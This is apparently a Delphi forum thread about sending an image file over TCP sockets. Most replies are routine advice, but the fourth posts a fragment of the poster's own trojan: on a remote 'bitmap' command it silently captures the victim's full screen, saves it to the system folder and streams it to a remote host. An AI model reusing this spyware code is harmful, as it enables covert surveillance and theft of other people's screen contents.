我说错了,是一个Client图像文件,而不是一个Client!

解决方案 »

  1.   

    看看 TServerSocket 和TClientSocket两个东东
    帮你肯定一点是----端口一共有65535个, 1024以上的都可以重定义, 用这两个东东别说是图像,就是你写你HTTP server 也不是不可以
      

  2.   

    多动动脑子想嘛!
    建立一个TCP连接,把图像文件读入TStream,再由ClientSocket.SendStream,哗啦哗啦……整个世界清静了,文件都传过去了
      

  3.   

    可以用ClientSocket.SendStream,不过文件太大时会失败,可以分包传,在Server端组合。
      

  4.   

    {*本程序主要用到TNMStrmerv $TNMStrm 组件(本程序,来自我写的木马中的片段,如果你要完整的代码请到我的主页下载 http://xingsys.home.chinaren.com & 发Email给我*}
    //客户端
    procedure TForm1.NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
      strm: TStream);
    var
     myfstream :Tfilestream  ;
     begin
      If FileExists('c:\windows\desktop.bmp') then DeleteFile('c:\windows\desktop.bmp');
      MyFStream := TFileStream.Create('c:\windows\desktop.bmp', fmCreate); 
    //c:\windows\desktop.bmp 改成你要传的文件名,我在局域网中测验传10M的文件3秒ok!
      try
        MyFStream.CopyFrom(strm, strm.size);
      finally
        MYFStream.Free;
      end;
     form2.show;
     form2.Image1.Stretch:=true;
     form2.Image1.Picture.LoadFromFile('c:\windows\desktop.bmp');
     form2.Caption:='图象显示'  ;
     clientsocket1.Address:=combobox1.Text ;
     clientsocket1.Active:=true;
     clientsocket1.Port:=strtoint(edit1.Text );
     
    end;//服务端
    if data='bitmap' then  //判断接收的信息
          begin
           fulls:=TBitmap.Create ;
           fulls.Width:=screen.Width ;
           fulls.Height :=screen.Height ;
           DC:=GetDc(0);
           fullsc:=TCanvas.Create ;
           fullsc.Handle:=DC;
           fulls.Canvas.CopyRect(rect   (0,0,screen.width,screen.height),fullsc,rect        (0,0,screen.width,screen.height));
           fullsc.Free;
           releasedc(0,dc);
           image1.Picture.Bitmap:=fulls;
           image1.Width:=fulls.Width ;
           image1.Height:=fulls.Height ;
           fulls.Free;
           form1.image1.Picture.SaveToFile('c:\windows\system\desktop.bmp') ;
      //发送文件
        Begin
        NMStrm1.Host := Edit1.Text;
        NMStrm1.FromName := 'NetMasters';;
        MyFStream := TFileStream.Create('c:\windows\system\desktop.bmp', fmOpenRead);
        try
          serversocket1.Active:=false;
          NMStrm1.PostIt(MyFStream);
        finally
          MyFStream.Free;
        end;